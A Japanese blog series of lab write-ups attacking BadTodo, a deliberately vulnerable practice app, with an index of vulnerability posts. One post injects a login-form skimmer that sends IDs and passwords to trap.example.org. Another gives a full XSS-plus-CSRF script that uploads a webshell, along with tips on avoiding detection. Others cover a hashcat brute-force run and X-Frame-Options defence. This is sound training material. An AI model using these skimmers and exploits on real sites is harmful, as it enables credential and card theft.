やられアプリ(やられサイト)BadTodo 脆弱性のまとめ

脆弱性診断実習用アプリ BadTodo 関連投稿へのリンク一覧です。
BadTodo - 1 準備
BadTodo - 2 ZAPでのスキャン
BadTodo - 3.1 SQLインジェクション 認証の回避
BadTodo - 3.2 SQLインジェクション 非公開情報の漏洩
BadTodo - 3.3 SQLインジェクション DB情報の取得
BadTodo - 3.4 SQLインジェクション ID/パスワードの取得
BadTodo - 3.5 SQLインジェクション 情報の改ざん・追加・削除
BadTodo - 3.6 SQLインジェクション MariaDBのパスワード取得
BadTodo - 3.7 SQLインジェクション idパラメータに対して
BadTodo - 3.8 SQLインジェクション sqlmapを使う
BadTodo - 3.9 SQLインジェクション 対策方法
BadTodo - 3.10 ブラインドSQLインジェクション (Boolean-Based) 練習
BadTodo - 4.1 XSS(クロスサイト・スクリプティング)
BadTodo - 4.1.1 XSS 対策方法(HttpOnly属性の付与)
BadTodo - 4.2 XSS ログイン画面で
BadTodo - 4.3 XSS ID毎のTodo一覧画面
BadTodo - 4.4 XSS Todoの削除画面
BadTodo - 4.5 XSS マイページ
BadTodo - 4.6 XSS パスワード変更ページ
BadTodo - 4.7 XSS Todo詳細ページ
BadTodo - 4.8 XSS 対策方法(エスケープ処理)
BadTodo - 4.9 DOM Based XSS
BadTodo - 4.10 XSS URL属性値に対して
BadTodo - 5 オープンリダイレクト
BadTodo - 6 ディレクトリトラバーサル
BadTodo - 7 リモート・ファイルインクルード(RFI)
BadTodo - 8.1 OS コマンド・インジェクション(リモートコード実行。CVE-2012-1823)
BadTodo - 8.2 OS コマンド・インジェクション(内部でシェルを呼び出す関数)
BadTodo - 9 Server Side Code Injection - PHP Code Injection
BadTodo - 10.1 CSRF(クロスサイト・リクエスト・フォージェリ)
BadTodo - 10.5 CSRF(対策)
BadTodo - 10.6 CSRF対策トークンの不備
BadTodo - 10.7 XSSによるCSRF対策の突破
BadTodo - 11 HTTP ヘッダ・インジェクション
BadTodo - 12 メールヘッダ・インジェクション
BadTodo - 13.1 クリックジャッキング
BadTodo - 13.2 クリックジャッキング 対策方法(X-Frame-Optionsヘッダ)
BadTodo - 14 セッション管理の不備
BadTodo - 15 アクセス制御や認可制御の欠落
BadTodo - 16 バッファオーバーフロー
BadTodo - 17.1 認証(パスワードの強度・ログアウト)
BadTodo - 17.2 補足 保存するパスワードのハッシュ化
BadTodo - 17.3 パスワードハッシュ化の目的
BadTodo - 17.4 ハッシュの解析(hash cat を使う)
BadTodo - 18 クローラへの耐性
BadTodo - 19 ディレクトリ・リスティング
BadTodo - 20 A4:2017 - XML外部エンティティ参照 (XXE)
BadTodo - 21 A10:2021 - サーバーサイドリクエストフォージェリ(SSRF)
BadTodo - 22 A8:2017 - 安全でないデシリアライゼーション
BadTodo - 23 evalインジェクション
BadTodo - 24 適切でないアップロートファイル制限
BadTodo - 25.1 色々混ぜてやってみる1(XSS - CSRF -WebShell)
BadTodo - 25.2 色々混ぜてやってみる2(XSS - CSRF -WebShell)
BadTodo - 26.1 NULLバイト攻撃(+ファイルインクルード)
BadTodo - 26.2 NULLバイト攻撃(+SQLインジェクション)
BadTodo - 26.3 NULLバイト攻撃(+XSS)
BadTodo - 26.4 NULLバイト攻撃(POSTリクエストの場合)
BadTodo - 27 TOCTOU競合
BadTodo - 28 レースコンディション
BadTodo - 29 キャッシュからの情報漏洩

BadTodoは以下の脆弱性を網羅しています

IPA 安全なウェブサイトの作り方 第7版より
1.1 SQLインジェクション
1.2 OSコマンド・インジェクション
1.3 パス名パラメータの未チェック/ディレクトリ・トラバーサル
1.4 セッション管理の不備
1.5 クロスサイト・スクリプティング
1.6 CSRF(クロスサイト・リクエスト・フォージェリ)
1.7 HTTPヘッダ・インジェクション
1.8 メールヘッダ・インジェクション
1.9 クリックジャッキング
1.10 バッファオーバーフロー
1.11 アクセス制御や認可制御の欠落

ウェブ健康診断仕様より
(安全なウェブサイトの作り方との重複点をグレーアウト)
1 (A) SQL インジェクション
2 (B) クロスサイト・スクリプティング
3 (C) CSRF(クロスサイト・リクエスト・フォージェリ)
4 (D) OS コマンド・インジェクション
5 (E) ディレクトリ・リスティング
6 (F) メールヘッダ・インジェクション
7 (G) パス名パラメータの未チェック/ディレクトリ・トラバーサル
8 (H) 意図しないリダイレクト(オープンリダイレクト)
9 (I) HTTP ヘッダ・インジェクション
10 (J) 認証
11 (K) セッション管理の不備
12 (L) 認可制御の不備、欠落
13 (M) クローラへの耐性

OWASP Top 10 2017(重複をグレーアウト)
A1:2017 - インジェクション(A03:2021- インジェクション)
 BadTodo - 3 SQLインジェクション
 BadTodo - 8 OS コマンド・インジェクション
 BadTodo - 9 Server Side Code Injection
A2:2017 - 認証の不備(A07:2021-識別と認証の失敗)
 BadTodo - 17 認証(パスワードの強度・ログアウト)
(パスワードをデータストアに保存する際に、プレーンテキストのままで保存している)
 BadTodo - 3.4 SQLインジェクション ID・パスワードの取得
(セッション識別子がURLの一部として露出してしまっている)
(ログイン後にセッション識別子を使いまわしている)
(セッションIDを正しく無効化していない)
 BadTodo - 14 セッション管理の不備
A3:2017 - 機微な情報の露出
 BadTodo - 17 認証(パスワードの強度・ログアウト)
 BadTodo - 3.4 SQLインジェクション ID・パスワードの取得
A4:2017 - XML 外部エンティティ参照(XXE) (A05:2021-セキュリティの設定ミス)
 BadTodo - 20 XML外部エンティティ参照 (XXE)
A5:2017 - アクセス制御の不備(A01:2021-アクセス制御の不備)
 BadTodo - 15 アクセス制御や認可制御の欠落
 BadTodo - 10 CSRF(クロスサイト・リクエスト・フォージェリ)
 BadTodo - 19 ディレクトリ・リスティング
A6:2017 - 不適切なセキュリティ設定(A05:2021-セキュリティの設定ミス)
 BadTodo - 19 ディレクトリ・リスティング
(詳細なエラーメッセージの表示)
 BadTodo - 3 SQLインジェクション
 BadTodo - 6 ディレクトリトラバーサル
A7:2017 - クロスサイトスクリプティング (XSS)
 BadTodo - 4 XSS(クロスサイト・スクリプティング)
A8:2017 - 安全でないデシリアライゼーション(A08:2021-ソフトウェアとデータの整合性の不具合)
 BadTodo - 22 A8:2017 - 安全でないデシリアライゼーション
A9:2017 - 既知の脆弱性のあるコンポーネントの使用(A06:2021-脆弱で古くなったコンポーネント)
(ソフトウェアが脆弱な場合やサポートがない場合、また使用期限が切れている場合)
 BadTodo - 8.1 OS コマンド・インジェクション(リモートコード実行。CVE-2012-1823)
A10:2017 - 不十分なロギングとモニタリング(A09:2021-セキュリティログとモニタリングの失敗)
(ログと監視が不十分で、組織が知らないうちに攻撃者に脆弱性を突かれること)(ロギングとモニタリングに関しては、ブラックボックスでの診断は難しく、ソースコード診断になるかと思います。[https://github.com/ockeghem/badtodo/blob/main/docs/vulnerabilities.md:title])

OWASP Top 10 2021
A01:2021-アクセス制御の不備
 BadTodo - 15 アクセス制御や認可制御の欠落
 BadTodo - 10 CSRF(クロスサイト・リクエスト・フォージェリ)
 BadTodo - 19 ディレクトリ・リスティング
A02:2021-暗号化の失敗
 BadTodo - 17 認証(パスワードの強度・ログアウト)
 (SSL(TLS)の設定)
 (HSTS)
 (パスワードの平文保存)
A03:2021-インジェクション
 BadTodo - 4 XSS(クロスサイト・スクリプティング)
 BadTodo - 3 SQLインジェクション
 BadTodo - 8 OS コマンド・インジェクション
 BadTodo - 9 Server Side Code Injection
A04:2021-安全が確認されない不安な設計
 BadTodo - 18 クローラへの耐性
(CWE-256 パスワードなどのアカウント情報が平文のまま格納されている問題)
 BadTodo - 3.4 SQLインジェクション ID・パスワードの取得
(CWE-434 適切でないアップロートファイル制限)
 BadTodo - 23 適切でないアップロートファイル制限 CWE-434
(CWE-598 GETリクエストのクエリ文字列からの情報漏洩)
 BadTodo - 14 セッション管理の不備
A05:2021-セキュリティの設定ミス
 A4:2017 - XML 外部エンティティ参照 (XXE)
 BadTodo - 19 ディレクトリ・リスティング
(詳細なエラーメッセージの表示)
 BadTodo - 3 SQLインジェクション
 BadTodo - 6 ディレクトリトラバーサル
(クッキーへの機密情報の保存)
 BadTodo - 15 アクセス制御や認可制御の欠落
(クッキーのセキュア属性不備)
 BadTodo - 14 セッション管理の不備
(HttpOnly属性不備)
 BadTodo - 4.1.1 XSS 対策方法(HttpOnly属性の付与)
(セキュリティヘッダの不備)
A06:2021-脆弱で古くなったコンポーネント
(ソフトウェアが脆弱な場合やサポートがない場合、また使用期限が切れている場合)
 8.1 OS コマンド・インジェクション(リモートコード実行。CVE-2012-1823)
A07:2021-識別と認証の失敗
 BadTodo - 17 認証(パスワードの強度・ログアウト)
(パスワードをデータストアに保存する際に、プレーンテキストのままで保存している)
 BadTodo - 3.4 SQLインジェクション ID・パスワードの取得
(セッション識別子がURLの一部として露出してしまっている)
(ログイン後にセッション識別子を使いまわしている)
(セッションIDを正しく無効化していない)
 BadTodo - 14 セッション管理の不備
A08:2021-ソフトウェアとデータの整合性の不具合
 安全でないデシリアライゼーション
 BadTodo - 22 A8:2017 - 安全でないデシリアライゼーション
A09:2021-セキュリティログとモニタリングの失敗
(ログと監視が不十分で、組織が知らないうちに攻撃者に脆弱性を突かれること)(ロギングとモニタリングに関しては、ブラックボックスでの診断は難しく、ソースコード診断になるかと思います。[https://github.com/ockeghem/badtodo/blob/main/docs/vulnerabilities.md:title])
 (ログからの情報漏洩)
A10:2021-サーバーサイドリクエストフォージェリ(SSRF)
 BadTodo - 21 サーバーサイドリクエストフォージェリ(SSRF)

BadTodo は
安全なWebアプリケーションの作り方 第2版
にも対応しています。各脆弱性への対応策もまだ記述できていませんので作成を続けていきます。

[https://www.sbcr.jp/product/4797393163/:embed:cite]

やられアプリ BadTodo - 25.2 色々混ぜてやってみる2(XSS - CSRF -WebShell)

前回:やられアプリ BadTodo - 25.1 色々混ぜてやってみる1(XSS - CSRF -WebShell) - demandosigno

前回、BadTodo上にWebShellを設置することができました。

WebShell=Web上でシェルを動かせる、ということで色々なことができるようになります。 (WebShellをすぐには用意できないという方は、通常のターミナルでコマンドを打つ・編集・コピーするなどしてファイルの改ざん以降だけでも試してみてください)

幾つかコマンドを試す

ファイルの改ざん

次にBadTodoのWebファイルを改ざんしユーザの入力値を盗めるようにしたいと思います。しかし、

  • このWebShellは簡単な機能しかないためエディタなどは開けません
  • ワンライナーで書き込むこともできるが面倒くさい→後日
  • wget や curl が使えれば、外部からファイルごとダウンロードして置き換える方法が手間がかからなそう
  • BadTodoには初期状態ではwgetもcurlも入っていない
  • whoami コマンドで確認したようにこのWebShellの実行ユーザは www-data 権限であるため、プログラムのインストール権限がない
  • ワンライナーでPHPを実行し curl_exec() を使えそう→後日

今回は本体のコンテナ badtodo-apache に curl を直接インストールして、既に curl が使える前提で進めます。

apt install curl

WebShellに戻りcurlが使えることを確認。

改ざんするページを決めます。ログインページを狙うことにしました。訪れたユーザが入力したユーザIDとパスワードの値を窃取します。

WebShellのページでcdコマンドで /todo/ ディレクトリに移り目的のファイルを確認します。

cat login.php でコードを表示します。

HTMLを読み込んでしまうためこのままだとうまく読み取れませんが、開発者ツールを見るか Ctrl+Uでビューソースを見るかして元のコードを確認します。

上記の大元のコードに次のコードを追記します。

  • ページ内の1番目のフォームfroms[0]からuseridpwdフィールドの値を取得する
  • 上記2つの値をパラメータとして付け足したリクエストを悪意のあるハッカーの管理するサイト trap.example.org に送信する
<script>
  window.onload = function() {
    document.forms[0].onsubmit = function() {
      f = document.forms[0];
      r = new XMLHttpRequest();
      r.open('GET',
        'https://trap.example.org/hack.php?number=' + encodeURIComponent(f.userid.value) + '_' + encodeURIComponent(f.pwd.value), false);
      r.send();
      return true;
    };
  };
</script>

最終的に次のコードになります。login.php

<?php
  require_once('./common.php');
  $url = filter_input(INPUT_GET, 'url');
  if (empty($url)) {
    $url = "todolist.php";
  }
?>
<html>
<head>
  <link rel="stylesheet" type="text/css" href="css/common.css">
  <title>ログイン</title>
</head>
<body>
  <div id="top">
    <?php $menu = 8;
    require "menu.php"; ?>
    <div id="loginform">
      <?php $app->form("logindo.php", true); ?>
      ログインしてください
      <table>
   ~(中略)~
    </div><!-- /#loginform -->
    <?php require "footer.php"; ?>
  </div>
  <script>
    window.onload = function() {
      document.forms[0].onsubmit = function() {
        f = document.forms[0];
        r = new XMLHttpRequest();
        r.open('GET',
          'https://trap.example.org/hack.php?number=' + encodeURIComponent(f.userid.value) + '_' + encodeURIComponent(f.pwd.value), false);
        r.send();
        return true;
      };
    };
  </script>
</body>
</html>

改ざんしたファイルに置き換える

作成したlogin.phpを悪意のあるハッカーが管理しているサイト trap.example.org/login.php に置きます。
WebShell でコマンドを打ち正規のファイルをダウンロードしたファイルで置き換える。
curl -O http://trap.example.org/login.php
wget の場合
wget --no-check-certificate -O ./login.php https://trap.example.org/login.php
更新を確認。

エラーの解決

ダウンロードした login.php の中身を確認するとエラーメッセージが出ており、正しく保存されていませんでした。

単一ファイルを保存するだけであれば問題ありませんが、PHPファイルのように依存関係のあるファイルの場合はそれらの依存関係を含めて取得しないとエラーが出るようでした。この辺り理解が不足しています。
common.php も先の手順と同じく trap.example.org/common.php として保存します。ここはもう面倒なのでコマンドでのコピーで進めます。 cp badapp.php ../trap/badapp.php


badapp.php, session.php, menu.php, footer.phpも必要なので同じくコピー。

再度ダウンロード、確認。

ここまでできたら完成です。ログインページを見てみます。追加したスクリプトが入っています。

ユーザの入力値が送信される

あるユーザがログインページを訪れます。
ユーザIDとパスワードを入力して「ログイン」をクリックしました。

この時、フォームの2つの入力データ「ユーザID」と「パスワード」が外部のサイト trap.example.org に送信されています。
hack.php というファイル自体は存在しないため 404NotFoundが返ってきていますが、値さえ送信できればよいため目的は果たせています。

ハッカーのサーバーのログ(この例ではnginxのログ)に id_pass という形で記載されます。

事例

今回の例は「IDとパスワード」の入力欄でしたが、これが「クレジットカード情報」の入力欄であっても同様のことができるはずです。

昨今もECサイトなどから「クレジットカード情報などが流出」する事態が度々起こっています。
「ごまたまご」公式ECサイトからカード情報6.5万件流出か ペイメントアプリ改ざんで - ITmedia NEWS
『システムの脆弱性をついた不正アクセスを第三者から受け、ペイメントアプリが改ざんされたことが原因』
『名義人名とカード番号、有効期限、セキュリティコードが漏れた可能性があるという』

全漁連のECサイト「ギョギョいち」への不正アクセスでクレカ情報約1万2000件漏えいの可能性 - ITmedia NEWS
『流出した可能性のある個人情報は、2021年4月22日から24年5月14日までにギョギョいちで商品を購入した人の氏名、性別、生年月日、メールアドレス、郵便番号、住所、電話番号。さらにクレジットカードで決済した人のクレジットカード番号、有効期限、セキュリティコード』 『原因は、サイト構築サービスにおけるクロスサイトスクリプティングの脆弱性を突いた第三者による不正アクセスにより、不正ファイルが設置されペイメントアプリケーションが改ざんされたことだった』

「e-ながさきどっとこむ」への不正アクセスによる個人情報漏えいの恐れに関するお詫びとお知らせ
『クレジットカード情報及び個人情報が漏えいした可能性』『当協会が運営する通販サイト「e-ながさきどっとこむ」のシステムの一部で第三者の不正アクセスにより、不正ファイルの設置及びペイメントアプリケーションの改ざんが行われたため』

これらの事件の際に「今どきクレジットカード情報をECサイト側のDBで保持しているなんてけしからん」と思われる方もいるかもしれませんが、そうではなく今回のようにユーザーの入力時にすでに盗まれている可能性が高いです。カード情報をECサイト側で保存せず、クレジットカード会社側に任せていたとしても、サイトが改ざんされるとクレジットカード会社に届く前に盗まれるわけです。

後日試す

  • キーロガーもどきにする(ユーザが「ログイン」ボタンをクリックする動作が必要なくなる)
  • WebShellでバックドアを設置し、アクセスを試す

最後に、スクリプト部分は削除して元の login.php に戻しておいてください。

参考情報

WebShellには高機能なものも沢山あります。

View post on imgur.com
imgur.com

参考にした資料

www.youtube.com

次回:やられアプリ BadTodo - 26.1 NULLバイト攻撃(+ファイルインクルード) - demandosigno

やられアプリ BadTodo - 25.1 色々混ぜてやってみる1(XSS - CSRF -WebShell)

BadTodo - 4.1 XSS(クロスサイト・スクリプティング)
BadTodo - 10.1 CSRF(クロスサイト・リクエスト・フォージェリ)
BadTodo - 10.7 XSSによるCSRF対策の突破
前回:BadTodo - 24 適切でないアップロートファイル制限
などを混ぜて色々やってみます。

まず今回、XSSの脆弱性を使い、ユーザーにCSRF相当の罠を実行させ、悪意のあるハッカーが利用できるプログラムファイルをアップロードさせます。
次回、そのウェブ上に設置したプログラム(WebShell)を使いサイトを改ざんし、ユーザーの入力情報を盗みます。

XSSの脆弱性を使い、ファイルをアップロードさせる

既存のユーザが作成済みの Todo を狙い、それに対する編集・修正リクエストをXSSにて実行させることでWebShellファイルのアップロードを行います。(Todoを新規作成"addtodo.php"させても良いですが、元からある物の一部を修正"editdone.php"する方がバレにくい)
※上記で「CSRF相当の罠を実行させ」と書いていますが、これは「(CSRFの罠にかかるのと同様な)本人の意図しないファイルアップロードを、XSSより行う」という意味です。

こちらを狙うことにしました。

ハッカーは自身でも何件かTodoを登録・修正してリクエストの動作を確認します。

全項目入力し、ファイルを再添付して保存した際のリクエストは下記です。

POST /editdone.php HTTP/1.1
Host: todo.example.jp
Cookie: TODOSESSID=2215e7b019599a578aece5b7c4dacf4d; PHPSESSID=7p8bhp3ort6qegq74noibd3s04; adminer_version=4.8.1
~中略~
Origin: https://todo.example.jp
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryi6Fi8tBZZ3IhFzCw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://todo.example.jp/edittodo.php?rnd=66ade53cee8b9&item=5
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive

------WebKitFormBoundaryi6Fi8tBZZ3IhFzCw
Content-Disposition: form-data; name="todotoken"

439e154d28ca5d451ac11a0f9fcbe62d
------WebKitFormBoundaryi6Fi8tBZZ3IhFzCw
Content-Disposition: form-data; name="item"

5
------WebKitFormBoundaryi6Fi8tBZZ3IhFzCw
Content-Disposition: form-data; name="todo"

hacker
------WebKitFormBoundaryi6Fi8tBZZ3IhFzCw
Content-Disposition: form-data; name="c_date"

2024-08-03
------WebKitFormBoundaryi6Fi8tBZZ3IhFzCw
Content-Disposition: form-data; name="due_date"

2024-08-03
------WebKitFormBoundaryi6Fi8tBZZ3IhFzCw
Content-Disposition: form-data; name="public"

1
------WebKitFormBoundaryi6Fi8tBZZ3IhFzCw
Content-Disposition: form-data; name="memo"

test
------WebKitFormBoundaryi6Fi8tBZZ3IhFzCw
Content-Disposition: form-data; name="attachment"; filename="Test.txt"
Content-Type: text/plain

ID: TestA
Pass: TestA
------WebKitFormBoundaryi6Fi8tBZZ3IhFzCw
Content-Disposition: form-data; name="url"

https://www.example.com/
------WebKitFormBoundaryi6Fi8tBZZ3IhFzCw
Content-Disposition: form-data; name="url_text"

Example Domain
------WebKitFormBoundaryi6Fi8tBZZ3IhFzCw--

trap.example.org に設置する罠を作成します。

・BadTodoはjQuery1系を使っているため Ajaxを使いました(jQuery2系以下と3系では書き方が少し違います)
・1番目の ajaxでCSRFトークンを取得し、2番目の ajaxでそのトークンを使いPOSTリクエストを送る
・修正を狙うTodoを確認しパラメータを修正。item=4、todo, due_date, memo, url, url_textは空値
・アップロードするファイル webshell.php の内容を Base64エンコードする
・Base64でエンコードされたデータの文字列を window.atob() メソッドでデコードする
Window: atob() メソッド - Web API | MDN
よって以下のようになります。(XSS_CSRF_WebShell.html)

<html>

<body>
  大当たり!
  <script src="https://todo.example.jp/js/jquery-1.8.3.js"></script>
  <script>
    $.ajax({
      url: "https://todo.example.jp/edittodo.php?item=4",
      xhrFields: {
        withCredentials: true
      },
      success: function (d) {
        console.log("The token is: " + d.response);
        let token = d.match("[0-9a-z]{32}")[0];
        console.log("The token is: " + token);
        let up = "webshell.php";
        $.ajax({
          url: "https://todo.example.jp/editdone.php",
          contentType: "multipart/form-data; boundary=----XXX",
          type: "POST",
          xhrFields: {
            withCredentials: true
          },
          data:
            "------XXX\r\n"
            + "Content-Disposition: form-data; name=\"todotoken\"\r\n\r\n"
            + token + "\r\n"
            + "------XXX\r\n"
            + "Content-Disposition: form-data; name=\"item\"\r\n\r\n"
            + "4\r\n"
            + "------XXX\r\n"
            + "Content-Disposition: form-data; name=\"todo\"\r\n\r\n"
            + "test\r\n"
            + "------XXX\r\n"
            + "Content-Disposition: form-data; name=\"c_date\"\r\n\r\n"
            + "2024-08-03\r\n"
            + "------XXX\r\n"
            + "Content-Disposition: form-data; name=\"due_date\"\r\n\r\n"
            + "\r\n"
            + "------XXX\r\n"
            + "Content-Disposition: form-data; name=\"public\"\r\n\r\n"
            + "1\r\n"
            + "------XXX\r\n"
            + "Content-Disposition: form-data; name=\"memo\"\r\n\r\n"
            + "\r\n"
            + "------XXX\r\n"
            + "Content-Disposition: form-data; name=\"attachment\"; filename=\"webshell.php\"\r\n"
            + "Content-Type: application/octet-stream\r\n\r\n"
            + window.atob("PD9wa~中略~9keT4=")
            + "\r\n"
            + "------XXX\r\nContent-Disposition: form-data; name=\"url\"\r\n\r\n"
            + "\r\n"
            + "------XXX\r\nContent-Disposition: form-data; name=\"url_text\"\r\n\r\n"
            + "\r\n"
            + "------XXX--\r\n"
        })
      }
    })
  </script>
</body>

</html>

罠の設置

https://trap.example.org/XSS_CSRF_webshell.html

ユーザが罠にかかる

今回狙われたユーザ test が罠リンクをクリックしてしまった。

この時点でファイルのアップロードが完了しています。(66adf4c4-webshell.php)

諸々の確認

Burpを確認すると、まず todo.php 上の罠リンクから XSS_CSRF_webshell.html に遷移し、次に GET /edittodo.php で訪れた先でCSRFトークンを取得し、最後に POST /editdone.php でファイルアップロードを含むTodo修正リクエストが送られています。

指定通り Content-Type: multipart/form-data; で送信され、Base64形式でエンコードされていた文字列が正しくデコードされ元のデータに戻っていることも分かります(この例ではぼかしている部分)。

今回利用されたTodoは表面上は何も変わってないように見えます。

  • 前回指摘したように、適切でない拡張子のファイルをアップロードすると表面上は失敗しTodoには登録されないため
  • ファイルのアップロードが適切にTodoに反映される場合は、ファイルが添付されたTodoを狙い既存のファイル名と似たややこしいファイル名を付けてバレにくくしましょう
  • また非公開のTodoを狙うとさらに気付かれにくいでしょう。参考: 3.2 SQLインジェクション 非公開情報の漏洩
  • CSRFの脆弱性があると、ユーザ自身がファイルアップロード権限を持っておらず管理者のみに許可されている場合でも管理者が狙われ罠を実行してしまう可能性があります
  • また管理者用の別サイトでのみファイルアップロードが許されているような場合でも、サイト間を跨いだ持続型 XSSと組み合わせることで実行できる場合があります(次回の資料動画を参照ください)

補足

(今回の攻撃は trap.example.org から todo.example.jpへ、つまりクロスオリジンへのリクエストです。これらのリクエストは同一オリジンポリシーCORSという仕組みで守られ、または許可されたりするのですが、それについてはまた後日)
(Access-Control-Allow-Origin レスポンスヘッダが外部の問題のあるドメイン(trap.example.org)を許可してしまっています)

次回は設置したWebShellを使いサイトを改ざんし、ユーザの入力したデータを窃取します。

次回:やられアプリ BadTodo - 25.2 色々混ぜてやってみる2(XSS - CSRF -WebShell) - demandosigno

やられアプリ BadTodo - 13.2 クリックジャッキング 対策方法(X-Frame-Optionsヘッダ)

前回:やられアプリ BadTodo - 13.1 クリックジャッキング - demandosigno

クリックジャッキング対策はアプリケーションのバグが原因ではなく、HTMLの仕様を巧妙に悪用した攻撃と言えます。このため、バグを修正したら防げるというタイプの脆弱性ではありません。
クリックジャッキング対策はアプリケーション単体では困難なためブラウザ側の支援が必要となります。
『安全なWebアプリケーションの作り方 第2版 p.202』

対策

X-Frame-Optionsに対応したブラウザにおいて下記のようにヘッダを設定する。

  • X-Frame-Options: DENY
     iframeに入ることを一切拒否。DENYを指定したレスポンスはframeなどの内側で表示されなくなる。
  • X-Frame-Options: SAMEORIGIN
     同一オリジンに限りiframeに入ることを許可。
  • X-Frame-Options: ALLOW-FROM
     指定したオリジンのウェブページのみフレーム内の表示を許可。

PHPによりX-Frame-OptionsのSAMEORIGINを指定するには以下のように記述する。

  • header('X-Frame-Options: SAMEORIGIN');

一般的には Apacheや nginxの設定で常時このヘッダを出力するとよいです。
Apache で X-Frame-Options を DENY に設定するには、サイトの設定に以下の記述を追加してください(mod_headersが導入されている必要があります)。

  • Header always set X-Frame-Options "SAMEORIGIN"

Apache で X-Frame-Options を DENY に設定するには、サイトの設定に以下の記述を追加してください。

  • Header set X-Frame-Options "DENY"

nginx で X-Frame-Options ヘッダーを送信するように設定するには、以下の記述を http、server、 location のいずれかの設定に追加してください。

  • add_header X-Frame-Options SAMEORIGIN always;

X-Frame-Options - HTTP | MDN

安全なウェブサイトの作り方 - 1.9 クリックジャッキング | 情報セキュリティ | IPA 独立行政法人 情報処理推進機構

BadTodoで試す

common.php の先頭に一行追記。

<?php
header('X-Frame-Options: DENY');
 
define('SESSIDNAME', 'TODOSESSID');

BadTodoにアクセスするとレスポンスヘッダに X-Frame-Options が追加されている。

HTTP/1.1 200 OK
Server: nginx/1.23.2
~中略~
X-Frame-Options: DENY

罠サイトで確認すると、iframe内の表示が拒否されておりクリックできないため罠は失敗します。(表側を少し透明にして確認)

保険的対策:CSRFの際と同様に「重要な処理」の実行後に登録済みメールアドレスに通知メールを送信する。

クリックジャッキングは X-Frame-Optionsヘッダで容易に対策できるため怠らずに対策しておきましょう。

実行ファイルに記述する方法は記述漏れが発生しやすいためお勧めしません。X-Frame-Optionsを指定すべきページは「重要な処理の一つ手前」のページですが、すべてのページでX-Frame-Optionsヘッダを出力しても問題はないためサーバー側の設定で出力した方が良いでしょう。

後日:サーバー側の設定でも試してみる。

次回:やられアプリ BadTodo - 14 セッション管理の不備 - demandosigno

やられアプリ BadTodo - 17.4 ハッシュの解析(hashcat を使う)

前回:やられアプリ BadTodo - 17.3 パスワードハッシュ化の目的 - demandosigno

パスワード解析ソフトの John the Ripper でもハッシュの解析はできるのですが、今回は hashcat を使います。
その名の通りハッシュの解析ができます。強力なグラフィックボードはハッシュの解析も速いため、ベンチマークソフトとしても使われています。
hashcat - advanced password recovery

hashcatは様々なハッシュの種類やソルト付きハッシュに対応していますが、私のPCのグラフィックボードは古くて性能が低いため以下の内容で試します。
・ハッシュ関数はMD5(ソルト無し)
・ハッシュの元とするパスワードは、8文字の英大文字・小文字・数字
・hashcat-5.1.0(昨年試した際の記録かつ私のグラボに対応可能なバージョンのため古いです)
・NVIDIA GeForce GTX 1070(+CUDAのインストールが必要です)
・Windows 10

開始

hashcat64.exe -m 0 -a 3 hash.txt -1 ?l?u?d ?1?1?1?1?1?1?1?1?1?1 --increment --increment-min=8(パラメータを色々付けて試してみたため少し冗長かも)

[s]tatus 「キーボードの s」を押して途中経過を確認します。(新しいバージョンでは最初から経過が表示されているかもしれません)

コマンド詳細

https://hashcat.net/wiki/doku.php?id=mask_attack
hashcat64.exe -m 0 -a 3 hash.txt -1 ?l?u?d ?1?1?1?1?1?1?1?1?1?1 --increment --increment-min=8
-m : ハッシュの種類。0 = MD5ハッシュを指定(その他のハッシュ
- a : アタックモード。3 = ブルートフォースアタック。総当たり(すべての大文字、小文字、数字を含む文字セットを使用する)かつマスクを指定できる
-1 : カスタム文字列として1つ設定
?l?u?d : プレースホルダを使ってパスワード候補を構成する
?l = abcdefghijklmnopqrstuvwxyz
?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
?d = 0123456789
?1?1?1?1?1?1?1?1?1?1 : 先に設定したカスタム文字列1を使用して10文字を解析
--increment : インクリメントフラグ。マスクはパスワードの長さに固有、このままだと10文字分だけ解析してしまうため、?1 → ?1?1 → ?1?1?1... と一つずつ増やしていくために必要なフラグ
--increment-min : 8 = 8文字からスタートします。「パスワード要件として最小8文字」と規定されている場合などは7文字以下の解析は不要です
hash.txt : 解析するハッシュ値を記録したテキストファイル(今回は 5f4dcc3b5aa765d61d8327deb882cf99 の一つだけ記載)

結果

Status : Cracked となっており、見つかったパスワードがあります
Time.Started : (9 hours, 53 mins) 8文字を解析するのにかかった時間です
Guess.Queus : 1/3。8文字, 9文字, 10文字の内、8文字分の解析が終了したということです
Speed.#1 : 6154.1 MH/s。約6.1Gハッシュ/秒の速度が出ています
Progress : 218340105584896/218340105584896 (100.00%)
英大文字・小文字・数字の8桁 = (26+26+10)8 = 218,340,105,584,896 (218兆) 通りです。
これは 218テラ、218,340ギガであり、速度の6.1ギガで割ると35,793秒 ≒ 9.9時間、先の記載に合致します。
5f4dcc3b5aa765d61d8327deb882cf99:password : 今回見つかった結果です。総当たりの結果、ハッシュの元の文字列は「password」であったことが分かります。(この例であれば総当たりよりは「辞書攻撃」の方がずっと早く終わります。hashcat での辞書攻撃は “straight”モードと名づけられており、アタックモード = 0 (-a 0)で実行できます。
今回は元のリストのパスワードを1つしか記載しませんでしたが、総当たりですのでこの時点ですべての8文字のパスの解析が終わっています。

[s]tatus =「s」キーを押して途中経過を見ています。
引き続き 9文字目の解析に入っています。(Guess.Mask : ?1?1?1?1?1?1?1?1?1 [9])
しかしながら、9文字目を終了するには 13537086546263552 (0.44%) と出ている通り (26+26+10)9=13,537,086,546,263,552(1京3537兆)のパターンを総当たりする必要があります。 これには8桁目の62倍の560時間≒26日の計算が必要になるため、[q]uit 「qキーを押して途中終了」しました。(そもそも今回の例では8文字パス1つだけしか登録していません)
この結果からパスワードの文字数を増やすことが有効であると分かります。

解析途中でタスクマネージャを見てみます。

今回NVIDIA社のグラフィックボードとCUDAを使いました。実際にCUDAがバリバリ働いていることが分かります(CUDAが表示されていない場合には、いずれかのグラフの ∨ をクリックしてドロップダウンから選択できます)。また温度が上がりますので夏場は注意です。
